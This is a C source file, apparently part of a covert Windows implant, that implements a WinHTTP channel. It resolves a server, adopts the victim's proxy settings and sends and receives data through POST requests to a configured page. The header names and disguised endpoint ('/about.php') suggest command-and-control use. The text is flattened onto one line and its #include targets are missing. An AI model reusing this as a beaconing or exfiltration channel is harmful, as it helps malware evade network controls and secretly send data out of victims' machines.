#include #include #include "globals.h" #include "binpatch.h" #include "zmem.h" #include "utils.h" #include "mayhem.h" #include "debug.h" #include "winhttp.h" #include "version.h" HINTERNET hGlobalInternet = 0; HINTERNET hSession = 0; HINTERNET hConnect = 0; PBYTE WinHTTPGetResponse(PULONG uOut) { PBYTE pHttpResponseBuffer; if (!WinHttpReceiveResponse(hGlobalInternet, NULL)) { #ifdef _DEBUG OutputDebug(L"[!!] WinHttpReceiveResponse FAIL\n"); __asm int 3; #endif return (PBYTE)NULL; } ULONG uContentLength; WCHAR szContentLength[32]; ULONG uBufLen = sizeof(szContentLength); ULONG uIndex = WINHTTP_NO_HEADER_INDEX; if (!WinHttpQueryHeaders(hGlobalInternet, WINHTTP_QUERY_CONTENT_LENGTH, WINHTTP_HEADER_NAME_BY_INDEX, &szContentLength, &uBufLen, &uIndex)) { #ifdef _DEBUG OutputDebug(L"[!!] WinHttpQueryHeaders FAIL\n"); // __asm int 3; #endif return (PBYTE)NULL; } uContentLength = _wtoi(szContentLength); pHttpResponseBuffer = (PBYTE) zalloc(uContentLength); if (!pHttpResponseBuffer || !uContentLength) { #ifdef _DEBUG OutputDebug(L"[!!] Cannot allocate buffer for HTTP response\n"); __asm int 3; #endif return (PBYTE)NULL; } ULONG uRead; uRead = *uOut = 0; do { if (!WinHttpReadData(hGlobalInternet, pHttpResponseBuffer + *uOut, uContentLength, &uRead)) { //fixed (non veniva deallocato in caso di errore) zfree(pHttpResponseBuffer); #ifdef _DEBUG OutputDebug(L"[!!] WinHttpReadData FAIL\n"); __asm int 3; #endif return (PBYTE)NULL; } *uOut += uRead; uContentLength -= uRead; } while(uRead && uContentLength); return pHttpResponseBuffer; } BOOL WinHTTPSendData(PBYTE pBuffer, ULONG uBuffLen) { #ifdef _DEBUG //OutputDebug(L"[+] WinHTTPSendData: %08x byte of request\n", uBuffLen); #endif BOOL ret; WCHAR pContentLength[1024]; swprintf_s(pContentLength, 1024, L"Content-Length: %d", uBuffLen); ret = WinHttpSendRequest(hGlobalInternet, pContentLength, -1L, pBuffer, uBuffLen, uBuffLen, NULL); if (!ret) { #ifdef _DEBUG OutputDebug(L"[!!] WinHttpSendRequest fail: %08x\n", GetLastError()); __asm int 3; #endif } return ret; } BOOL WinHTTPSetup(PBYTE pServerUrl, PBYTE pAddrToConnect, ULONG uBufLen, PULONG pPortToConnect) { WINHTTP_CURRENT_USER_IE_PROXY_CONFIG pProxyConfig; WINHTTP_PROXY_INFO pProxyInfoTemp, pProxyInfo; WINHTTP_AUTOPROXY_OPTIONS pOptPAC; DWORD dwOptions = 0; WCHAR _wHostProto[256]; WCHAR _wHost[256]; PBYTE pAddrPtr; char *wTypes[] = { "*\x00/\x00*\x00", 0x0 }; BOOL isProxy = FALSE; swprintf_s(_wHost, L"%S", pServerUrl); swprintf_s(_wHostProto, L"http://%S", pServerUrl); ZeroMemory(&pProxyInfo, sizeof(pProxyInfo)); ZeroMemory(&pProxyConfig, sizeof(pProxyConfig)); // Crea una sessione per winhttp. hSession = WinHttpOpen(USER_AGENT, WINHTTP_ACCESS_TYPE_NO_PROXY, 0, WINHTTP_NO_PROXY_BYPASS, 0); // Cerca nel registry le configurazioni del proxy if (hSession && WinHttpGetIEProxyConfigForCurrentUser(&pProxyConfig)) { if (pProxyConfig.lpszProxy) { // Proxy specificato pProxyInfo.lpszProxy = pProxyConfig.lpszProxy; pProxyInfo.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY; pProxyInfo.lpszProxyBypass = NULL; } if (pProxyConfig.lpszAutoConfigUrl) { // Script proxy pac pOptPAC.dwFlags = WINHTTP_AUTOPROXY_CONFIG_URL; pOptPAC.lpszAutoConfigUrl = pProxyConfig.lpszAutoConfigUrl; pOptPAC.dwAutoDetectFlags = 0; pOptPAC.fAutoLogonIfChallenged = TRUE; pOptPAC.lpvReserved = 0; pOptPAC.dwReserved = 0; if (WinHttpGetProxyForUrl(hSession ,_wHostProto, &pOptPAC, &pProxyInfoTemp)) memcpy(&pProxyInfo, &pProxyInfoTemp, sizeof(pProxyInfo)); } if (pProxyConfig.fAutoDetect) { // Autodetect proxy pOptPAC.dwFlags = WINHTTP_AUTOPROXY_AUTO_DETECT; pOptPAC.dwAutoDetectFlags = WINHTTP_AUTO_DETECT_TYPE_DHCP | WINHTTP_AUTO_DETECT_TYPE_DNS_A; pOptPAC.fAutoLogonIfChallenged = TRUE; pOptPAC.lpszAutoConfigUrl = NULL; pOptPAC.lpvReserved = 0; pOptPAC.dwReserved = 0; if (WinHttpGetProxyForUrl(hSession ,_wHostProto, &pOptPAC, &pProxyInfoTemp)) memcpy(&pProxyInfo, &pProxyInfoTemp, sizeof(pProxyInfo)); } // Se ha trovato un valore sensato per il proxy, allora ritorna if (pProxyInfo.lpszProxy) { isProxy = TRUE; WinHttpSetOption(hSession, WINHTTP_OPTION_PROXY, &pProxyInfo, sizeof(pProxyInfo)); // Parsa la stringa per separare la porta _snprintf_s((PCHAR)pAddrToConnect, uBufLen, _TRUNCATE, "%S", pProxyInfo.lpszProxy); if (pAddrPtr = (PBYTE)strchr((PCHAR)pAddrToConnect, (int)':')) { *pAddrPtr = 0; pAddrPtr++; sscanf_s((PCHAR)pAddrPtr, "%d", pPortToConnect); } else *pPortToConnect = 8080; if (!ResolveName(pAddrToConnect, pAddrToConnect, uBufLen)) { #ifdef _DEBUG OutputDebug(L"[!!] Cannot resolve name !\n"); __asm int 3; #endif WinHttpCloseHandle(hSession); return FALSE; } } } if (!isProxy) { *pPortToConnect = 80; // se ci stiamo connettendo diretti usiamo di default la porta 80 if (!ResolveName(pServerUrl, pAddrToConnect, uBufLen)) { #ifdef _DEBUG OutputDebug(L"[!!] Cannot resolve name 2\n"); __asm int 3; #endif return FALSE; } swprintf_s(_wHost, L"%S", pAddrToConnect); // In questo caso mette nella richiesta winhttp direttamente l'indirizzo IP } #ifdef _DEBUG OutputDebug(L"[*] WinHTTPSetup got host: %s, port: %d\n", &_wHost, *pPortToConnect); #endif // Definisce il target if (!(hConnect = WinHttpConnect(hSession, (LPCWSTR)_wHost, INTERNET_DEFAULT_HTTP_PORT, 0))) return FALSE; //if (!(hGlobalInternet = WinHttpOpenRequest(hConnect, L"POST", L"/about.php", NULL, WINHTTP_NO_REFERER, (LPCWSTR *) wTypes, 0))) if (!(hGlobalInternet = WinHttpOpenRequest(hConnect, L"POST", POST_PAGE, NULL, WINHTTP_NO_REFERER, (LPCWSTR *) wTypes, 0))) { #ifdef _DEBUG OutputDebug(L"[!!] WinHttpOpenRequest FAILED\n"); __asm int 3; #endif WinHttpCloseHandle(hSession); return FALSE; } WinHttpSetTimeouts(hGlobalInternet, RESOLVE_TIMEOUT, CONNECT_TIMEOUT, SEND_TIMEOUT, RECV_TIMEOUT); return TRUE; } BOOL ResolveName(PBYTE pServerUrl, PBYTE pAddrToConnect, ULONG uBufLen) { struct hostent *hAddress; PBYTE pAddrPtr; WORD wVersionRequested; WSADATA pWSAData; #ifdef _DEBUG OutputDebug(L"[*] ResolveName resolving: %S\n", pServerUrl); #endif // E' gia' un indirizzo IP if (inet_addr((PCHAR)pServerUrl) != INADDR_NONE) { _snprintf_s((PCHAR)pAddrToConnect, uBufLen, _TRUNCATE, "%s", pServerUrl); return TRUE; } wVersionRequested = MAKEWORD(2, 2); if (WSAStartup(wVersionRequested, &pWSAData )!= 0) { #ifdef _DEBUG OutputDebug(L"WSAStartup FAILED\n"); __asm int 3; #endif return FALSE; } hAddress = gethostbyname((PCHAR)pServerUrl); WSACleanup(); if (!hAddress || !(pAddrPtr = (PBYTE)inet_ntoa(*(struct in_addr*)hAddress->h_addr))) { #ifdef _DEBUG OutputDebug(L"inet_ntoa or gethostbyname FAILED\n"); __asm int 3; #endif return FALSE; } _snprintf_s((PCHAR)pAddrToConnect, uBufLen, _TRUNCATE, "%s", pAddrPtr); return TRUE; } VOID WinHTTPClose() { if (hSession) { #ifdef _DEBUG OutputDebug(L"[+] Closing hSession\n"); #endif WinHttpCloseHandle(hSession); } hSession = NULL; if (hGlobalInternet) { #ifdef _DEBUG OutputDebug(L"[+] Closing hGlobalInternet\n"); #endif WinHttpCloseHandle(hGlobalInternet); } hGlobalInternet = NULL; if (hConnect) { #ifdef _DEBUG OutputDebug(L"[+] Closing hConnect\n"); #endif WinHttpCloseHandle(hConnect); } hConnect = NULL; } .